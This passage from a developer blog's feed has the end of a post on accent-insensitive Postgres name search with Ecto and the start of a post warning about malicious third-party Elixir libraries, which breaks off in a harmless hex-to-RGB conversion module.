&lt;p&gt;The first statement will add the &lt;a href=&quot;https://www.postgresql.org/docs/current/pgtrgm.html&quot;&gt;Postgres Trigram&lt;/a&gt; extension to your Postgres database. We need this extension for creating the &lt;code&gt;GIN&lt;/code&gt; index in the second statement.&lt;/p&gt;
&lt;p&gt;The second statement creates a &lt;code&gt;GIN&lt;/code&gt; index for the unaccented value in our &lt;code&gt;person.name&lt;/code&gt; field. That means that our &lt;code&gt;search/1&lt;/code&gt; query above will now use a much faster &lt;code&gt;GIN&lt;/code&gt; index for searching for the correct person.&lt;/p&gt;
&lt;p&gt;As a last step, we need to update our &lt;code&gt;search/1&lt;/code&gt; function to use the new &lt;code&gt;f_unaccent(text)&lt;/code&gt; function instead of the built-in &lt;code&gt;unaccent&lt;/code&gt; function. This is the updated version of our function:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Person&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where: &lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;f_unaccent(?) ILIKE f_unaccent(?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;p&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you want to double-check that your function uses the new index, add this code to the &lt;code&gt;search/1&lt;/code&gt; function:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;# build your query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #8b949e;&quot;&gt;# Add this 👇&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Ecto.Adapters.SQL&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;explain&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;IO&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;inspect&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When you run the &lt;code&gt;search/1&lt;/code&gt; function, you will see something like this in your terminal:&lt;/p&gt;
&lt;pre id=&quot;code-block-8&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Bitmap&lt;/span&gt; Heap Scan &lt;span style=&quot;color: #d2a8ff;&quot;&gt;on&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;persons&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;p0&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Recheck&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;Cond: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;f_unaccent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; ~~&lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;%jose%&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Bitmap&lt;/span&gt; Index Scan &lt;span style=&quot;color: #d2a8ff;&quot;&gt;on&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;persons_name_unaccented_gin_trgm_idx&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;        &lt;span style=&quot;color: #ffa657;&quot;&gt;Index&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;Cond: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;f_unaccent&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; ~~&lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;%jose%&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you see this, congratulations! Your search function now uses the &lt;code&gt;GIN&lt;/code&gt; index for searching for the unaccented version of the name.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-caveats&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-caveats&quot;&gt;&lt;/a&gt;The Caveats&lt;/h3&gt;
&lt;p&gt;As always, there are caveats to this approach. If you&apos;re interested into the nitty-gritty details of how this works and what other solutions exist, I can recommend the following resources:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/11005036/does-postgresql-support-accent-insensitive-collations/11007216#11007216&quot;&gt;Does PostgreSQL support &quot;accent insensitive&quot; collations?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dba.stackexchange.com/questions/129202/using-ilike-with-unaccent-and-with-only-right-end-wildcard&quot;&gt;Using ILIKE with unaccent and with only right end wildcard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://elixirforum.com/t/putting-unaccent-in-existing-query/22006&quot;&gt;Putting unaccent in existing query&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/unaccented-name-search-with-postgres-and-ecto"/>
    <id>https://peterullrich.com/unaccented-name-search-with-postgres-and-ecto</id>
    <title>Unaccented Name Search with Postgres and Ecto</title>
    <updated>2023-08-15T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back, folks!&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;My girlfriend broke up with me
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;when she found out I only had 9 toes.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;She was lack toes intolerant.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alright. Today, we&apos;ll take a look at &lt;strong&gt;security&lt;/strong&gt; issues when using third-party libraries in your Elixir applications. If you add libraries to your application, you could get robbed of all your secrets and user data. I&apos;ll show you what a malicious library could look like and how you can protect yourself against this. So hang on and let&apos;s get cracking!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;We all use libraries to develop our software. Usually, the process of adding a library is simple. You google a problem, find a library that fixes it, and add it to your &lt;code&gt;mix.exs&lt;/code&gt; file. You run &lt;code&gt;mix deps.get&lt;/code&gt;, check if the library does what it promised, and push everything to production. Easy.&lt;/p&gt;
&lt;p&gt;But when you add a library, you copy somebody else&apos;s code into your application. So, how do you know that it&apos;s not malicious? You might say: &lt;code&gt;I don&apos;t. I trust it.&lt;/code&gt; and you wouldn&apos;t be alone. I do this too, but we shouldn&apos;t.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.bleepingcomputer.com/news/security/compromised-javascript-package-caught-stealing-npm-credentials/&quot;&gt;Malicious&lt;/a&gt;. &lt;a href=&quot;https://snyk.io/blog/malicious-code-found-in-npm-package-event-stream/&quot;&gt;libraries&lt;/a&gt;. &lt;a href=&quot;https://snyk.io/blog/code-execution-back-door-found-in-rubys-rest-client-library/&quot;&gt;are&lt;/a&gt;. &lt;a href=&quot;https://www.infosecurity-magazine.com/news/hundreds-malicious-packages-npm/&quot;&gt;not&lt;/a&gt;. &lt;a href=&quot;https://blog.aquasec.com/npm-library-supply-chain-attack&quot;&gt;uncommon&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The biggest problem is when attackers publish malicious libraries to a package manager like &lt;code&gt;npm&lt;/code&gt;, &lt;code&gt;RubyGems&lt;/code&gt;, or &lt;code&gt;hex&lt;/code&gt;. They become immediately available to millions of developers and installing them only requires bumping a version number. With little effort, attackers can compromise a lot of targets.&lt;/p&gt;
&lt;p&gt;There&apos;s a myriad of ways how a malicious library can get into a package manager, but these are the most common ones:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The attacker publishes the library&lt;/strong&gt;. This is the easiest way, but the attacker has to generate traction for the library first. People have to start using the library before you can compromise them. This takes the most effort on the attacker&apos;s side because the library must offer some value that convinces the users to add it. The attacker would most likely try to add the library as a dependency to an existing library with a pull request on GitHub. Still, there&apos;s an easier method.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The attacker takes over an existing library&lt;/strong&gt;. This is the easiest and fastest way for an attacker to publish a malicious library. They can take over an existing library, add malicious code, and publish a new version. Existing users will bump the version number and start using the malicious version of the library usually without noticing. The attacker can take over an existing library through legal ways, for example by taking over ownership of a library that needs a new maintainer. That&apos;s why maintainer vetting is crucial for popular libraries.&lt;/p&gt;
&lt;p&gt;The attacker could also try to steal the GitHub credentials of an author of a popular library and publish a malicious version under their name. So, if you&apos;re the author of a library, better protect your account as much as possible. You might not notice that your credentials are stolen until it&apos;s too late.&lt;/p&gt;
&lt;p&gt;The most difficult version would be a supply-chain attack where an attacker penetrates the servers on which the library is compiled before it gets published. Before the compilation, the attacker can add malicious code and nobody would notice. This is the nastiest attack because nobody would notice unless they compare the code on the package manager with the code on GitHub, which nobody does. Some libraries come as compiled binaries, so you couldn&apos;t even compare raw code but would have to compile and compare the binaries of your library against the version on the package manager. Unless you automate this step, you&apos;d never do it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The attacker takes over a retired/deleted library&lt;/strong&gt;. Most package managers don&apos;t allow this, but it might happen that an author deletes an existing library and the attacker publishes a new library with the same name and version right after. The new library would contain the same code as the old one plus some malicious nastiness. The worst thing is that victims wouldn&apos;t even need to bump a version number. When they redeploy their server, they would re-fetch the same library with the same version but would now get a malicious version instead. Many package managers block the names of retired libraries.&lt;/p&gt;
&lt;p&gt;So, I hope that you now understand that trusting your dependencies blindly is a bad thing.&lt;/p&gt;
&lt;p&gt;To drive home my argument, I will show you exactly how we can build a malicious library with Elixir. Now, I&apos;m not revealing any well-kept secrets here. Writing the library took me 2 hours and a few ChatGPT prompts, so &lt;strong&gt;anybody&lt;/strong&gt; could do it. Let&apos;s dive in.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-library&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-library&quot;&gt;&lt;/a&gt;The Library&lt;/h2&gt;
&lt;p&gt;The library is very simple. All it does is convert &lt;code&gt;HEX&lt;/code&gt; color codes into &lt;code&gt;RBG&lt;/code&gt; values. Here&apos;s what the main module looks like:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Colors.Convert&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;hex_to_rbg&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;#&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;binary&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;hex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Integer&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;16&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
